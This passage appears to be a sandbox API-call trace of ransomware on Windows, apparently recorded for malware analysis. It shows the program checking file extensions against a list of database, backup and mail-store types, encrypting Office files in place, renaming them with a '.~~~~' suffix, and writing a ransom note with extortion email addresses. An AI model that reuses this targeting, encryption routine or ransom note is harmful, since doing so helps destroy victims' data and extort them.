	[0143.773] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.774] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.774] CloseHandle (hObject=0x104) returned 1
	[0143.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28abe88
	[0143.774] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8f.gif.~~~~")) returned 1
	[0143.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28abe88 | out: hHeap=0x300000) returned 1
	[0143.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0143.777] GetLastError () returned 0x0
	[0143.777] RtlWakeConditionVariable () returned 0x0
	[0143.777] GetCurrentThreadId () returned 0xaf0
	[0143.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".scr") returned 0x0
	[0143.778] lstrlenW (lpString=".cmd") returned 4
	[0143.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".cmd") returned 0x0
	[0143.778] lstrlenW (lpString=".dll") returned 4
	[0143.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".dll") returned 0x0
	[0143.778] lstrlenW (lpString=".bat") returned 4
	[0143.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".bat") returned 0x0
	[0143.778] lstrlenW (lpString=".cpl") returned 4
	[0143.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".cpl") returned 0x0
	[0143.778] lstrlenW (lpString=".sys") returned 4
	[0143.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".sys") returned 0x0
	[0143.778] lstrlenW (lpString=".msc") returned 4
	[0143.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".msc") returned 0x0
	[0143.778] lstrlenW (lpString=".com") returned 4
	[0143.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".com") returned 0x0
	[0143.778] lstrlenW (lpString=".lnk") returned 4
	[0143.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".lnk") returned 0x0
	[0143.778] lstrlenW (lpString=".msp") returned 4
	[0143.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".msp") returned 0x0
	[0143.778] lstrlenW (lpString=".pif") returned 4
	[0143.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".pif") returned 0x0
	[0143.778] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0143.782] lstrlenW (lpString=".sqb") returned 4
	[0143.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".sqb") returned 0x0
	[0143.782] lstrlenW (lpString=".ost") returned 4
	[0143.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".ost") returned 0x0
	[0143.782] lstrlenW (lpString=".txt") returned 4
	[0143.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".txt") returned 0x0
	[0143.782] lstrlenW (lpString=".mdt") returned 4
	[0143.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".mdt") returned 0x0
	[0143.782] lstrlenW (lpString=".BDB") returned 4
	[0143.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".BDB") returned 0x0
	[0143.782] lstrlenW (lpString=".eql") returned 4
	[0143.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".eql") returned 0x0
	[0143.782] lstrlenW (lpString=".DBF") returned 4
	[0143.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".DBF") returned 0x0
	[0143.782] lstrlenW (lpString=".EQL") returned 4
	[0143.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".EQL") returned 0x0
	[0143.783] lstrlenW (lpString=".FDB") returned 4
	[0143.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".FDB") returned 0x0
	[0143.783] lstrlenW (lpString=".EDB") returned 4
	[0143.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".EDB") returned 0x0
	[0143.783] lstrlenW (lpString=".DACPAC") returned 7
	[0143.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.783] lstrlenW (lpString=".VHD") returned 4
	[0143.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".VHD") returned 0x0
	[0143.783] lstrlenW (lpString=".DBV") returned 4
	[0143.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".DBV") returned 0x0
	[0143.783] lstrlenW (lpString=".dacpac") returned 7
	[0143.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.783] lstrlenW (lpString=".sdf") returned 4
	[0143.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".sdf") returned 0x0
	[0143.783] lstrlenW (lpString=".accdb") returned 6
	[0143.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".accdb") returned 0x0
	[0143.783] lstrlenW (lpString=".DBX") returned 4
	[0143.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".DBX") returned 0x0
	[0143.783] lstrlenW (lpString=".MDT") returned 4
	[0143.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".MDT") returned 0x0
	[0143.783] lstrlenW (lpString=".SQB") returned 4
	[0143.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".SQB") returned 0x0
	[0143.783] lstrlenW (lpString=".vhd") returned 4
	[0143.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".vhd") returned 0x0
	[0143.784] lstrlenW (lpString=".bac") returned 4
	[0143.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".bac") returned 0x0
	[0143.784] lstrlenW (lpString=".mdf") returned 4
	[0143.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".mdf") returned 0x0
	[0143.784] lstrlenW (lpString=".BAK") returned 4
	[0143.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".BAK") returned 0x0
	[0143.784] lstrlenW (lpString=".BAC") returned 4
	[0143.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".BAC") returned 0x0
	[0143.784] lstrlenW (lpString=".dbs") returned 4
	[0143.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".dbs") returned 0x0
	[0143.784] lstrlenW (lpString=".vhdx") returned 5
	[0143.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.784] lstrlenW (lpString=".NDF") returned 4
	[0143.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".NDF") returned 0x0
	[0143.784] lstrlenW (lpString=".dat") returned 4
	[0143.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".dat") returned 0x0
	[0143.784] lstrlenW (lpString=".DBS") returned 4
	[0143.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".DBS") returned 0x0
	[0143.784] lstrlenW (lpString=".CKP") returned 4
	[0143.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".CKP") returned 0x0
	[0143.784] lstrlenW (lpString=".edb") returned 4
	[0143.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".edb") returned 0x0
	[0143.784] lstrlenW (lpString=".PST") returned 4
	[0143.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".PST") returned 0x0
	[0143.785] lstrlenW (lpString=".dbf") returned 4
	[0143.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".dbf") returned 0x0
	[0143.785] lstrlenW (lpString=".SQL") returned 4
	[0143.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".SQL") returned 0x0
	[0143.785] lstrlenW (lpString=".pst") returned 4
	[0143.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".pst") returned 0x0
	[0143.785] lstrlenW (lpString=".dbv") returned 4
	[0143.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".dbv") returned 0x0
	[0143.785] lstrlenW (lpString=".SDF") returned 4
	[0143.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".SDF") returned 0x0
	[0143.785] lstrlenW (lpString=".dtxs") returned 5
	[0143.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.785] lstrlenW (lpString=".db3") returned 4
	[0143.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".db3") returned 0x0
	[0143.785] lstrlenW (lpString=".OST") returned 4
	[0143.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".OST") returned 0x0
	[0143.785] lstrlenW (lpString=".dbx") returned 4
	[0143.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".dbx") returned 0x0
	[0143.785] lstrlenW (lpString=".DB3") returned 4
	[0143.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".DB3") returned 0x0
	[0143.785] lstrlenW (lpString=".DAT") returned 4
	[0143.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".DAT") returned 0x0
	[0143.785] lstrlenW (lpString=".VHDX") returned 5
	[0143.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.786] lstrlenW (lpString=".ndf") returned 4
	[0143.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".ndf") returned 0x0
	[0143.786] lstrlenW (lpString=".DB") returned 3
	[0143.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".DB") returned 0x0
	[0143.786] lstrlenW (lpString=".sql") returned 4
	[0143.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".sql") returned 0x0
	[0143.786] lstrlenW (lpString=".MYD") returned 4
	[0143.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".MYD") returned 0x0
	[0143.786] lstrlenW (lpString=".DBT") returned 4
	[0143.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".DBT") returned 0x0
	[0143.786] lstrlenW (lpString=".ACCDB") returned 6
	[0143.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.786] lstrlenW (lpString=".fdb") returned 4
	[0143.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".fdb") returned 0x0
	[0143.786] lstrlenW (lpString=".bak") returned 4
	[0143.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".bak") returned 0x0
	[0143.786] lstrlenW (lpString=".myd") returned 4
	[0143.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".myd") returned 0x0
	[0143.786] lstrlenW (lpString=".DTXS") returned 5
	[0143.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.786] lstrlenW (lpString=".ckp") returned 4
	[0143.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".ckp") returned 0x0
	[0143.786] lstrlenW (lpString=".dbt") returned 4
	[0143.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".dbt") returned 0x0
	[0143.787] lstrlenW (lpString=".db") returned 3
	[0143.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".db") returned 0x0
	[0143.787] lstrlenW (lpString=".TXT") returned 4
	[0143.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".TXT") returned 0x0
	[0143.787] lstrlenW (lpString=".MDF") returned 4
	[0143.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".MDF") returned 0x0
	[0143.787] lstrlenW (lpString=".bdb") returned 4
	[0143.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".bdb") returned 0x0
	[0143.787] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0143.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.787] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0143.788] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.789] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0143.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0143.789] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26377906949) returned 1
	[0143.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf1bbc50, dwHighDateTime=0x1d60e1e)) 
	[0143.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0143.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0143.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0143.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd3f0
	[0143.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd3f0 | out: hHeap=0x300000) returned 1
	[0143.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28abfd8
	[0143.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28abfd8 | out: hHeap=0x300000) returned 1
	[0143.790] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0143.790] GetLastError () returned 0x0
	[0143.791] GetLastError () returned 0x0
	[0143.791] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0143.791] GetLastError () returned 0x0
	[0143.791] GetLastError () returned 0x0
	[0143.791] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x3e39, lpOverlapped=0x0) returned 1
	[0143.797] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffc1c7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.797] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x3e39, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3e39, lpOverlapped=0x0) returned 1
	[0143.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.797] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.798] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.798] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.798] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.798] CloseHandle (hObject=0x104) returned 1
	[0143.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28abde0
	[0143.798] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9b.gif.~~~~")) returned 1
	[0143.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28abde0 | out: hHeap=0x300000) returned 1
	[0143.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0143.800] GetLastError () returned 0x0
	[0143.801] RtlWakeConditionVariable () returned 0x0
	[0143.801] GetCurrentThreadId () returned 0xaf0
	[0143.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\Read~ME.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0143.802] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0143.802] WriteFile (in: hFile=0x104, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0143.804] CloseHandle (hObject=0x104) returned 1
	[0143.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac1d0 | out: hHeap=0x300000) returned 1
	[0143.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9558 | out: hHeap=0x300000) returned 1
	[0143.804] RtlWakeConditionVariable () returned 0x365f70
	[0143.804] GetCurrentThreadId () returned 0xaf0
	[0143.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".scr") returned 0x0
	[0143.804] lstrlenW (lpString=".cmd") returned 4
	[0143.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".cmd") returned 0x0
	[0143.804] lstrlenW (lpString=".dll") returned 4
	[0143.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".dll") returned 0x0
	[0143.804] lstrlenW (lpString=".bat") returned 4
	[0143.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".bat") returned 0x0
	[0143.804] lstrlenW (lpString=".cpl") returned 4
